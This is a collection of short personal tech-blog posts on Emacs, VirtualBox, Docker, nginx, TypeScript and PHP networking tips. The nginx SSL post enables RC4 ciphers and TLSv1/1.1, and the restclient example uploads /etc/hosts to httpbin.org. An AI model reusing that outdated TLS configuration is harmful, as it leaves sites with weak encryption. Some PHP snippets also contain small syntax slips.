Of course you also have to set background-image: url(<the url>) for your image. I do it with style attribute directly. Here is how the element code looks like in general:

<div style="background-image: url('url-here')" class="img-circular"></div>

As you can see there is no `img` tag at all and we use div with background image instead. It allow us to center the background.

GDB dashboard

Mon, 19 Feb 2018 00:00:00 +0000

If you use GDB you definitely have to try Dashboard package by Andrea Cardaci.

Here is how it looks like:

^ Click to make it bigger.

Looks very nice, it updates itself each time when you step or do another action. It was confusing why Memory area is empty by default and shows nothing even when I try to x <memory>.

It turned out I have to tell dashboard to watch for particular area of memory. Here is how to do it:

dashboard memory watch <addr> <how many bytes>

for example:

dashboard memory watch $ebp 42

Now it looks awesome.

Projectile cleanup list of known projects (spacemacs)

Mon, 19 Feb 2018 00:00:00 +0000

Recently I’ve switched through a lot of different OS setups and my projects list in Spacemacs was bloated.

Some projects were from MacOS, others were from Windows. All of them were not existed anymore.

I’ve tried to find a file where Emacs (Spacemacs) stores list of projects but I’ve found even better elisp function for this.

Just call M-x projectile-cleanup-known-projects and every path (project) that is not exists on your current machine will be removed from the list of known projects.

Glad there is such function and my *spacemacs* buffer looks much much better now

Work remotely by Julia Evans

Mon, 19 Feb 2018 00:00:00 +0000

Really, really awesome blog post from Julia Evans about working remotely.

She has described every worry I have and explained how she managed work over them.

Just found out her blog and it seems very interesting in general.

VirtualBox get IP of VM (cli)

Sun, 18 Feb 2018 00:00:00 +0000

Here is command to run from CLI to get ifconfig output on guest machine (with ubuntu server):

vboxmanage guestcontrol <vm name> run --exe '/sbin/ifconfig' --username <username> --password <pass>

**Make sure GAs are installed on the guest**

You can write shell function to simplify the call:

function vbox-get-ip() {
 if [ -z $1 ]; then
 echo "pass VM name"
 return
 fi
 vboxmanage guestcontrol $1 run --exe '/sbin/ifconfig' --username <username> --password <pass>
}

Now just call `vbox-get-ip ` and `ifconfig` output will be shown!

Sure you can execute other commands on the host. Just make sure you pass full path to the binary.

VirtualBox Headless mode

Sun, 18 Feb 2018 00:00:00 +0000

I use VirtualBox and do some testing and learning with multiple machines running at once.

Usually those machines are servers so I don’t really need the GUI since I connecting to them using SSH clinet.

When VirtualBox is installed you’ll see VBoxManage executable (vboxmanage is also there as alias) which is CLI tool that allows you to interact with your VMs.

Here is a command how you can start VM in headless mode:

vboxmanage startvm <vm name> --type headless

Pretty simple.

To shutdown the VM run this:

vboxmanage controlvm <vm name> poweroff

That's it. You can also run `vboxmanage` without any params to get list of all options/actions it supports.

Have fun.

Dropbox direct link to file

Sat, 10 Feb 2018 00:00:00 +0000

Hey,

Just switched to Firefox and tried to find the way how I can replace the start page.

The only way I’ve found is use New Tab Override extension. It allows to set custom html I want to use for start page but other files like css/js and fonts should be linked.

I don’t have them anywhere except my Dropbox and of course usual dropbox link isn’t working since it opens Dropbox’s page where I can download the file itself.

But there is workaround.

Just copy dropbox link to your file. It may look like this:

https://www.dropbox.com/s/fy44flf3pw2afsp/thefile.js?dl=0

and then replace www.dropbox.com with dl.dropboxusercontent.com.

So the link should look like this:

https://dl.dropboxusercontent.com/s/fy44flf3pw2afsp/thefile.js?dl=0

Now you have direct link to your file and you can src it in your html.

P.S.

While I was writting it just realised I can write css/js inline…

Tmux, default shell

Mon, 05 Feb 2018 00:00:00 +0000

Hey,

recently I’ve switched to Windows and trying to adapt WSL (linux subsystem) to make it play together with my habits.

This time the issue was Tmux starting bash when I need ZSH. No matter what shell was set by chsh -s command Tmux was don’t care.

The thing I found on stackoverflow is setting default-shell option of Tmux to /bin/zsh (in my case).

Here is what you need to add to your ~/.tmux.conf:

set-option -g default-shell /bin/zsh

Don’t forget to restart your Tmux or :source-file the new configuration.

Bash. Variables inside aliases

Wed, 31 Jan 2018 00:00:00 +0000

Hey,

Recently I had to use bash alias that contains $(pwd) inside so I’ve defined it like that:

alias thename="something $(pwd) --option=value"

Of course I know a bit of bash so that’s why I use double quotes!

But it turned out to be wrong. Each time when my bash/zsh was opened the alias was defined with INTERPRETED $(pwd) which is the directory where bash was opened (usualy home dir).

Actually we have to use single quotes to make sure that $(pwd) isn’t interpreted at the moment of alias definition but it is when we call the alias.

Summary

use single quotes if you want to make sure variable/command is interpreted during the alias call.
use double quotes if you only want to interpretate variable/command on the alias definition stage (and only once).

Docker volumes, WSL and Docker for Windows [memo]

Thu, 25 Jan 2018 00:00:00 +0000

Hey.

While I’m on Windows I do use Docker for Windows. It’s running on my host machine but I’m running docker commands from WSL (Windows Linux subsystem).

While running it from there the volumes I’m trying to mount into the container won’t work.

So the solution is (assume everything you want to mount is on disk C):

sudo mkdir /c - to create a directory named c
sudo mount --bind /mnt/c /c - mount existing /mnt/c into /c
cd /c/path/to/project - go to the project
docker run -it -v $(pwd):/project node bash - it WORKS!

The solution has been found here - https://github.com/Microsoft/WSL/issues/1854

Ruby's bundle exec [memo]

Thu, 25 Jan 2018 00:00:00 +0000

Hey.

I mostly use PHP or Node.js and sometimes I have to touch Ruby projects.

I know I can run bundle install to install deps from Gemfile but I was unable to find them in the project directory.

It turned out the reason is they are installed globally. It doesn’t fit my needs sometimes so I had to find the way to install them locally.

They solution is:

bundle install --path=./local-dir-name

it will install packages into local directory but you were not be able to call binaries. Ok…

The solution for this is to run binaries via bundle exec like so:

bundle exec jekyll serve

Works perfectly.

Make list targets [memo]

Mon, 08 Jan 2018 00:00:00 +0000

Here is small note about the target I put in every Makefile I have.

The target is called list and looks like this:

.PHONY: list
list:
 @$(MAKE) -pRrq -f $(lastword $(MAKEFILE_LIST)) : 2>/dev/null | awk -v RS= -F: '/^# File/,/^# Finished Make data base/ {if ($$1 !~ "^[#.]") {print $$1}}' | sort | egrep -v -e '^[^[:alnum:]]' -e '^$@$$'

It prints list of all targets defined in your Makefile.

Took it from this brilliant stackoverflow answer

SSH escape sequences or how to quit frozen SSH connection

Fri, 27 Oct 2017 00:00:00 +0000

Hey,

So your SSH session has been frozen? Here is what I was doing when it happened.

The actual thing that should be done is press:

Enter
~ (tilda)
. (dot)

Welcome back to your local machine.

The actions performed are called Escape Sequence.

SSH is just a shell tunnel between you and another machine. The SSH client pass all keys sequence, including key bindings, to the server.

So if you want to press CTRL+c to kill the running app it will be killed on the remote machine instead of killing the current SSH client.

Special key sequences allows you to get reaction directly from SSH client instead of an app on remote server.

If you want to see all possible sequences just press:

Enter
~
?

Supported escape sequences:
 ~. - terminate connection (and any multiplexed sessions)
 ~B - send a BREAK to the remote system
 ~C - open a command line
 ~R - request rekey
 ~V/v - decrease/increase verbosity (LogLevel)
 ~^Z - suspend ssh
 ~# - list forwarded connections
 ~& - background ssh (when waiting for connections to terminate)
 ~? - this message
 ~~ - send the escape character by typing it twice

I'm actually do not use any of them (except `~.`). Maybe you'll find some of them useful.

Restclient (Postman for Emacs)

Sun, 22 Oct 2017 00:00:00 +0000

Hi everyone.

Here is my notes about restclient that can help you to forget about Postman (which is cool as well).

Define the action

Here is the example:

#
# get all people from star wars
#
GET https://swapi.co/api/people

To define an action you need to start with a comment.

Then you need to set method (GET, POST, PUT and other) and the url of course.

Now you can execute the query. Press C-c C-c (CTRL+c twice) and new buffer (*HTTP Response*) with the result will be opened.

At the bottom of that buffer you can see response headers:

// GET https://swapi.co/api/people
// HTTP/1.1 200 OK
// Date: Sun, 22 Oct 2017 19:03:17 GMT
// Content-Type: application/json
// Transfer-Encoding: chunked
// Connection: keep-alive
// Allow: GET, HEAD, OPTIONS
// Vary: Accept, Cookie
// X-Frame-Options: SAMEORIGIN
// Etag: "d080408a4d656729b0f52a6feb0783ca"
// Via: 1.1 vegur
// Server: cloudflare-nginx
// CF-RAY: 3b1eb73cda7d63af-FRA
// Request duration: 1.663359s

Pretty simple, ha?

Set headers

To define headers you need to write them just below the URL definition:

#
# get all people from star wars
#
GET https://swapi.co/api/people
User-Agent: Emacs Restclient
Content-Type: application/json

By pressing `C-c C-c` the headers will be attached to the request.

Post payload

If you want to send data to the server you can define it right after empty line of the URL (or headers if exist) definition.

Here is an example from restclient.el repo.

#
# Post works too, entity just goes after an empty line. Same is for PUT.
#
POST https://jira.atlassian.com/rest/api/2/search
Content-Type: application/json

{
 "jql": "project = HSP",
 "startAt": 0,
 "maxResults": 15,
 "fields": [
 "summary",
 "status",
 "assignee"
 ]
}

What if I want to post a file?

It’s also possible and it’s pretty easy

#
# post a file
#
POST http://httpbin.org/post
Content-Type: text/plain

< /etc/hosts

You can even define variables

Variables are useful to define the host or test user credentials.

Here how you can define it.

:myvar = https://google.com

You can also use elisp to set a value

:myvar := (some (artbitrary 'elisp)

use :variable-name syntax to get the value of variable:

#
# use a variable
#
GET :myvar/imghp

Restclient.el is a great package you definitely should try. It allows you quickly explore or test the API without leaving the Emacs.

Try it <3

Emacs Projectile find and replace

Fri, 20 Oct 2017 00:00:00 +0000

Projectile is great Emacs package you definitely have to install if you didn’t.

Along with projects management and quick switching among of them it allows you to limit grep/ack, find files and replacing commands. Here I want to note how to quickly search and replace strings in your project.

Search (grep/ack/ag)

If you know basics of grep you shouldn’t get any issues with it. Just call projectile-grep interactive function and type the query.

Here is how it works on this blog with title: query:

As you can see there is new buffer created called *grep*. At the bottom it says that search is finished (:exit) and have matches ([matched]). Filenames are links, so you can click on them and file will be opened in new buffer on the matched line.

Replace

Projectile is also really great in replacing with its projectile-replace and projectile-replace-regexp. When you call one of those functions you will be asked for an input to search for. Let’s search the blog for Replace. When you typed the query, you need to input the string you want to replace on. Let’s replace our Replace with Find.

When both params are entered the buffer with first match will be opened.

You can see the info in the mini-buffer:

Now you can press some keys to perform actions. Press ? for help.

As you can see if you click y button then the replace action will be performed. If you see something wrong is going to be replaced just press n button to skip the currently highlighted match and Emacs will switch to the next match.

Searching and replacing should be used as often as possible with minimum of manual work. It will save you from mistakes and improve your productivity a lot.

Good luck <3

Terminal tips and tricks

Tue, 23 May 2017 00:00:00 +0000

Hey.

Below I’ve listed couple of ways to use terminal that some people may not know about. These “technics” I use a lot in may daily hacking.
So let’s start.

CTRL+R

I'm sure you already know that you can travel through command history using ⇧ and ⇩ keys. But sometimes the command you're looking for is far behind in history so you should do something like this ``` ⇧⇧⇧⇧⇧ damn, I missed it ⇩⇩ here is ``` which is quite annoying.

CTRL+R allows you to search through command history.
Here is the demo:

You can go deeper in history with the same keystroke (CTRL+R). To go forward in history press CTRL+S

This keystroke I just can’t live without and use it all the time.

Movements/Editing

Of course I do not use **CTRL+R** just to find previously entered command since it can be easily found with ⇧ key. But, I really do not like to move my hands outside of my keyboard's homerow. Usually all terminals supports emacs keybinding
So meet:

If you’ll replace CTRL with ALT for arrow left/right keys you will be able to follow back and forth word by word.

Here is more tips:

You can also use ALT key with BACKSPACE which will delete WORD instead of SYMBOL.
You can remove symbol under cursor with CTRL+D.
Using CTRL+A will move your cursor to the beginning of the command line
CTRL+K will remove everything from cursor to the end of command line

So, using CTRL+A + CTRL+K removes everything you already entered, which is much faster than long press on backspace.

CTRL+L

Just a clear command, which clears your terminal window. I like when my typing happens at the top of terminal window 😜 so it is very useful for me. I hope it can be something good for you as well.

one Nginx, multiple sites, one SSL certificate

Sun, 06 Nov 2016 00:00:00 +0000

Hey. Imagine you have 2-3 sites where you have to setup HTTPS but you are limited to use only one SSL certificate for this.

Today we’ll find out how to do this.

I’m not going to describe how to get SSL certificate, just notice that our proxy-nginx will be configured on special domain and you have to get certificate exactly for this domain.

Nginx configuration.

Add server block inside http block of your nginx.conf (or in one of included files).

server {
 listen 80;
 server_name the-proxy.domain;
 return 301 https://$server_name$request_uri;
}

This block just going to redirect all your HTTP connections to the HTTPS on the same domain.

The next server block is actually our SSL configuration.

server {
 listen 443 ssl;
 server_name the-proxy.domain;
 ssl_certificate /etc/ssl/nginx/nginx.crt;
 ssl_certificate_key /etc/ssl/nginx/server.key;
 ssl_session_cache shared:SSL:10m;
 ssl_session_timeout 5m;
 ssl_ciphers "EECDH+ECDSA+AESGCM EECDH+aRSA+AESGCM EECDH+ECDSA+SHA384 EECDH+ECDSA+SHA256 EECDH+aRSA+SHA384 EECDH+aRSA+SHA256 EECDH+aRSA+RC4 EECDH EDH+aRSA RC4 !EXPORT !aNULL !eNULL !LOW !3DES !MD5 !EXP !PSK !SRP !DSS";
 ssl_prefer_server_ciphers on;
 ssl_password_file /etc/keys/cert_pass;
 ssl_protocols TLSv1 TLSv1.1 TLSv1.2;

 location / {
 proxy_redirect off;
 proxy_set_header Host $host;
 proxy_set_header X-Real-IP $remote_addr;
 proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
 proxy_set_header X-Forwarded-Proto https;

 proxy_pass http://127.0.0.1:8082;
 }

Make sure paths to SSL keys are correct. One more important thing is proxy_pass statement. I will describe it soon.

Ok. So now all connections to our domain (the-proxy.domain) are redirected to the HTTPS version and then are proxied to http://127.0.0.1:8082.

What do we have on 127.0.0.1:8082?

On this port we have our application running. We may have other application running on other ports and we can describe them in our server blocks. So, make sure your application is actually running on this port and nginx will proxy all the traffic.

Unfortunately you app is also available by 8082 port which is not great. You can close it with firewall and allow connections from the same server where app is running (and where our proxy-nginx is installed).

That’s it. You can add as more server blocks as you want and proxy traffic to other servers/ports you wish.

P.S. This one is pretty old article. Consider to use Let’s Encrypt instead.

Docker parts and how it works on Windows and OSX

Sat, 02 Jul 2016 00:00:00 +0000

Hi, today I want to tell you about parts of Docker (yes, Docker it is not standalone application). In this article I’m not going describe internals of docker, its filesystem, what is container, image and how to use it. Instead you’ll learn what is docker daemon and docker client and how docker and docker-beta (at the moment of this article it still beta) works on Windows and OSX.

This article is pretty simple with minimum technical terms.

What is docker

Docker is containerisation tools (tools - not a standalone app) that use LXC (Linux containers). LXC is also set of tools that use some Linux kernel’s features and that features are available only in Linux kernel. It means that docker can be used natively ONLY on Linux, period.

I saw people use it on their Windows/OSX machines

Yeah, I’m sure you saw it.

Let me tell you about the parts that Docker consists of.

The first and probably main part of Docker is Docker Daemon. This guy is heart of Docker term. He do every job that you know Docker can do and this guy is only available on Linux.

But when you type docker in your terminal you actually do not use docker daemon directly, you invoke Docker Client and ask him to pipe commands you typed to the Docker Daemon and Docker Client is cross-platform tool.

So, strictly speaking, you saw how people use Docker Client on their Windows/OSX machines. They have/had virtual machine installed with Linux inside where Docker Daemon was running. Probably they used docker-machine which is just interface to the virtual box or other similar virtualisation tools.

It means also that your containers were not running on your host machine but on virtual machine which is not cool actually and brings some issues with networking and filesystem sharing.

Docker Daemon can be running on separated machine and Docker Client can connect to it by socket.

So this is how docker works on Windows and OSX.

Docker Beta

Couple of months ago Docker team did something cool and their realised Docker for Windows and OSX. For you, as for Docker user, it means that you can run docker containers natively on your host and access them via localhost with no issues with filesystem sharing.

But, it is not really truth.

Docker Beta is still using virtual machines. On Windows it uses Hyper-V and on OSX it uses xhyve. Both are native for their platforms and were developed for one platform with platform-specific features. When you run Docker.exe or Docker.app the virtual machine will be started and you can forget about it at all, you no need to set socket address in your docker client or do something else. You can just run the app and start to use Docker. Internally it uses Linux with Docker Daemon installed but you will not see it at all. That’s awesome and for Docker users it looks like it works natively. Every port of your application (that is exposed of course) can be accessed on localhost, you can share any part of your filesystem with no issues.

Probably Docker will never be available on Windows and OSX natively because Docker is using Linux kernel features and these feature are not available on other platforms. But it doesn’t mean you can’t use Docker on Windows or OSX for your development needs.

I didn’t describe a lot of internals of docker in this article, maybe I will do it in next one, but I really hope it brought some light to the how Docker and Docker Beta works on your machine.

Have a good day and always know how your tools are working.

Setup TeamCity on Mac to work with Docker

Mon, 20 Jun 2016 00:00:00 +0000

For one of our project we decided to use TeamCity on our Mac Mini (which is under table in the same room where we are).

It was interesting experience with some pitfalls and I would like to share how we did it. Want to mention that installation of TeamCity is not subject of this article and I’m sure you can find a lot of posts about it in the internet.

One more important thing. TeamCity on our MacMini was installed to /Library/TeamCity folder. Docker machine shares only home directory (/Users) but some of our docker containers requires /Library/TeamCity/hash/our project name/src directory to be shared.

How does our project directory structure look

Project structure

├── docker
│ ├── application
├── scripts
└── src
 ├── app
 ├── bootstrap
 ├── config
 ├── database
 ├── public
 ├── resources
 ├── storage
 ├── tests
 └── vendor

Our `docker-compose.yml` looks similarly to this:

application:
 build: ./application
 volumes:
 - ../src:/var/www/application

So, because our TeamCity loads the project inside /Library/TeamCity folder which is not shared between host and docker-machine we have the issue. From docker container’s standpoint the folder looks empty.

What to do.

Open VirtualBox Manager.
Choose your docker-machine (default - in my case)
Press Settings.
Go to Shared Folders tab and press Add new shared folder (folder with + icon at the right hand side)

Add Library folder to the folders list.

That’s not enough. All these steps are only shares the folder to the VM but it is not mounted yet.

mkdir /Library && mount -t vboxsf Library /Library

And…. DONE! Congratulations! Oh yeah, after docker-machine restart everything will gone…

Since docker-machine is heir of boot2docker we can use special boot2docker feature that allow us to run the script right after machine is started.

Login inside of docker-machine (docker-machine ssh)
go to - /var/lib/boot2docker/
create bootlocal.sh file
open it and enter the next few lines

#!/bin/sh

mkdir /Library
mount -t vboxsf Library /Library

That’s it. Now you can stop/start your docker-machine and after it will be started it execute bootlocal.sh file and this file will create /Library folder and mount host’s /Library folder to the guest /Library one.

TypeScript - project setup

Tue, 10 May 2016 00:00:00 +0000

Hi, recently I discovered TypeScript. It’s very important for me to have types protection since it removes a lot of common errors/bugs from the project written in dynamically typed language.

Today I want to describe how to setup a basic TypeScript project.

Let’s start.

First of all you need to install TypeScript.

npm install -g typescript

You need NPM of course but I don’t think it’s an issue for you. Next step is this command:

tsc --init

This command will create tsconfig.json file for you. This file is basically configuration for your TypeScript compiler and kind of indicator where your project’s root is.

Here is the content:

{
 "compilerOptions": {
	"module": "commonjs",
	"target": "es5",
	"noImplicitAny": false,
	"sourceMap": false
 },
 "exclude": [
	"node_modules"
 ]
}

And, let’s forget about it for a while.

Project structure

This one is pretty personal and I just want to show you how I do it.

├── out
├── src
│ ├── classes
│ │ ├── another_namespace_folder
│ │ ├── reports
│ │ │ ├── CoolReport.ts
│ │ │ └── NotCoolReport.ts
│ │ └── users
│ │ ├── Admin.ts
│ │ └── User.ts
│ ├── interfaces
│ │ └── users
│ │ └── BillableInterface.ts
│ └── main.js
└── tsconfig.json

out - this directory is for output javascript file(s)
src - this directory contains all the TypeScript files

If you need an assets directory you can create it in root of project also.

main.js is absolutely not important here. You can give any name to such file or you can even remove it. I just use it as starting point of the project.

Ok, let’s back to our tsconfig.json Let’s update it to look like this.

{
 "compilerOptions": {
	"module": "commonjs",
	"target": "es5",
	"noImplicitAny": false,
	"sourceMap": false,
	"outFile": "./out/include.js",
	"sourceRoot": "./src/",
	"rootDir": "./src/",
	"removeComments": true
 },
 "exclude": [
	"node_modules"
 ]
}

What was changed there:

outFile - path to the JavaScript file that will be generated after compilation of *.ts files
sourceRoot - directory that contains all *.ts files. Compiler will take all the files from here and compile them
removeComments - we no need comments in generated JS file

So, now we ask TSC to search all *.ts files inside src directory and compile all of them into one include.js file.

At the moment if you run TSC command in the root of project

tsc

it will check the tsconfig.json and will compile all *.ts files inside src directory.

After this you can see include.js file inside your out directory. Awesome!

Checkout tsconfig.json documentation for more info.

Why I actually prefer TypeScript over any other supersets of JS

Here is some points:

Type secure

As I said at top of this post it’s very important for me since I think it reduce amount of bugs that produced by dynamically typed langauges. Honestly it is not a language’s fault but developer’s one. But anyway dynamicly typed languages are encourage this. I usually write in PHP and it also have type hints but TypeScript different for the better since it is really compileable and all miss-types can be found when at the same time PHP’s type issues will be found only when bad code will be executed

Looks good in OOP terms

Don’t get me wrong, JavaScript’s prototype-based system is pretty interesting but in daily work it’s hard to switch from usual OOP way to JS one, at least for me. I don’t think it is an issue for people that use Node.JS for backends and JS for front. But it’s not about me. I like TypeScript because it looks like usual OOP langauge with constructors, public/private/protected methods and usual inheritance and interfaces.

You can use it as usual Javascript.

Since TypeScript is superset of JS it means we can actually write JS with no issues. It’s awesome if you use third-party lib or testign framework that was not planned to use for TypeScript.

types types types

YES! Again. I really love it! :D

So, if you want to be types protected in your JS give it a try. You will not be disappointed.

Traceroute implementation

Wed, 13 Apr 2016 00:00:00 +0000

Hi, I’m sure you heard about traceroute command line tool. For me, it was pretty interesting to get to know about how it works and it would be great to implement basic functionality of it. Hope it will be interesting for you also.

How does it work?

Each TCP/IP packet has different information about itself. One part of it is called Time To Leave – TTL. This information is needed for nodes (routers, computers) and it allows to understand when packet has to be dropped from a network. TTL is not for fun there. It protects network from packets loop. Due to its value we have no packets that travels through the network infinitely.

The structure of IP header:

TTL value is just a number. Each time when packet goes through a router the value decreases. TTL value is set by operation system and usually it has bigger number than needed to get the destination. For example, You have TTL value – 3. When your packet sends to the another computer it goes through many different nodes.

your computer (ttl – 3) -> decrement ttl -> send to the next node
router (ttl – 2) -> decrement ttl -> send to the next node
nanother computer (ttl – 1) -> decrement ttl -> check if 0 -> destroy
destination -> so sad, didn’t receive anything

When TTL is equal to 0 the receiver of this packet has to destroy it and send notification to the original sender via ICMP protocol. Since Internet Protocol packets have information about sender and receiver, your machine will be notified that TTL is exhausted and you will know who sent it back to you. Once again. TTL is set by operation system and it can be changed from OS to OS.

Ok, nice. What’s next?

If value of TTL can be changed by operation system then probably we should have ability to set it by ourselves. In case it’s possible, we can set it to 1 and send a packet to any remote server. It will not get the destination server and will be destroyed by next machine in the network (it will be your router probably). When packet is destroyed you will get notification via ICMP. In case you set it to 2 then packet will be destroyed by next machine behind your router. So, we can increase TTL until we don’t get notification that package is destroyed by destination IP.

Code code code

I want to bring some exotic so… lets use PHP (oh my god!).

I don’t want to show all the code here. You will find it in my GitHub repo. But I will try to explain basics. First of all let’s create our TTL variable.

$ttl = 1;

Now let’s create two sockets.

$icmp_socket = socket_create(AF_INET, SOCK_RAW, getprotobyname('icmp'));
$udp_socket = socket_create(AF_INET, SOCK_DGRAM, getprotobyname('udp'));

UDP socket will be used to send packet. Receiver will answer us via ICMP protocol and we will use this socket for reading.

Now the hard line…

socket_set_option($udp_socket, 0, IP_TTL, $ttl);

**IP_TTL** constant doesn’t exist in PHP. Unfortunately value of IP_TTL constant is various on different operation systems. On BSD like systems the value is 4. Linux has 2. Also I was lucky that **socket_set_option** calls native kernel function internally so we can set third parameter of socket_set_option to any value.

Ok. Now let’s send a packet to Google :)

socket_sendto($udp_socket, '', 0, 0,'173.194.32.133' 33434);

Good, lets wait for ICMP request from our router (remember we have TTL = 1)

$r = [$icmp_socket];
$w = $e = [];
socket_select($r, $w, $e, 5, 0); # 5 — timeout in seconds
if (count($r)) {
 socket_recvfrom($icmp_socket, $buf, 512, 0, $recv_addr, $recv_port);
 echo $recv_addr . "\n";
}

Now we have address of our router (**$resv_addr** variable).
Next, lets just wrap everything with loop where TTL will be increased with each iteration and we will get new remote machine’s IP one by one until doesn’t get Google’s IP.

while ($ttl < 128) { # 128 — default TTL value for Windows.
 // our previous code
 socket_close($icmp_socket);
 socket_close($udp_socket);

 $ttl++;
 if ($recv_addr == $dest_addr) break;
}

And it looks like that:

A lot of information for this article I got from Joshua Thijssen blog.

From Emacs to Intellij IDEA

Tue, 29 Mar 2016 00:00:00 +0000

Recently I switched from Emacs, which I used about two years, to IntelliJ. It was pretty hard switch since my muscle memory wasn’t happy. Thanks guys from JetBrains they have Emacs keybinding-scheme. Today I will try to describe how I configured IntelliJ to be more Emacs-like.

First of all IntelliJ interface is pretty overloaded. Emacs had only text area with status line and mini buffer. I found very nice instructions about how to do interface more minimalistic in Laracast video. It was for PHPStorm but it also work for IntelliJ.

So, lets start.

I do not really use status bar at the bottom of window. If you no need it you can also remove it by checkbox in View -> Status Bar.
Navigation bar on top of window. Go to View -> Navigation Bar and uncheck it.
Toolbar. A lot of buttons for guys who use mouse. Go to View -> Toolbar checkbox.
Breadcrumbs probably useful feature, but I do not see a reason to use it. To disable it lets go to Preferences -> Editor -> Appearance. Uncheck Show HTML breadcrumbs (restart of IDE may be required).
Tabs. Emacs has buffers. IntelliJ has “Switcher” that contains list of recently opened files. It exists by C-x C-b. Let’s remove tabs by right click on it and select Tabs Placement -> None.

Now it should look something like this:

Much much better, right? ;)

Since I develop mostly backend and various APIs I used to use restclient-mode in Emacs.

Intellij has something similar. Tool called Test RESTful Web Service.

It has pretty much all features required by me, but it still sucks compared with restclient-mode of Emacs. There are not too much keybindings (actually only ⌘ + Enter is known and frequently used by me). You can add parameters, headers, you can repeat your last (or long before) query. It sucks mostly because too much mouse involved in the process of this tool usage.

Next thing its a terminal. The replacement of M-x shell called – Terminal. It’s very functional and looks better than Emacs eshell or term modes. I can even run Emacs inside.

I mapped it to C-c C-t to make it more accessible. I usually use it for files creation (instead of the IDE’s sidebar and mouse right click).

Hope it was useful. Don’t forget to switch your keybinding scheme to Emacs mode.

PHPNotifier - task scheduler

Sun, 27 Mar 2016 00:00:00 +0000

Hi, Couple of days ago, working on my full-time project, I noticed we have a huge crontab file. We have a lot of different scripts that checks status of different records in our database or status of users or status of emails that we sent or, or, or…

A lot of our classes have different flags (“checked”, “sent”, “approved”, etc…) and its something that really hard to manage.

Crontab is very useful tool but incase you use for things it was developed.

So, we were needed a task scheduler. Since we use PHP in our project it would be great to have it as packagist package but… I didn’t find anything that fit our needs.

So, today I finished my work on such library and I hope it will be useful not only for me and our team.

Meet PHPNotifier already published in packagist. This library allows you to schedule a task to the exact time or after some time.


use \PHPNotifier\PHPNotifier;
$scheduler = new PHPNotifier(PHPNotifier::FILE_METHOD, '/absolute/path/to/db.file');

$scheduler->scheduleTaskIn(10, 'echo', [ #execute "echo" command
	'Hello world!' # with "Hello world!" argument
	'>' # and redirect output
	'any_file' # to any_file
]);

This code will schedule task that will be running in 10 seconds. And its awesome. Now, in our project, we have internal API calls (HTTP), that are triggering different tasks. PHPNotifier is sending curl requests to the API and it works great.

Checkout GitHub page of this library. You can find more documentation there. It would be great if you can suggest how to improve it or even send a pull request.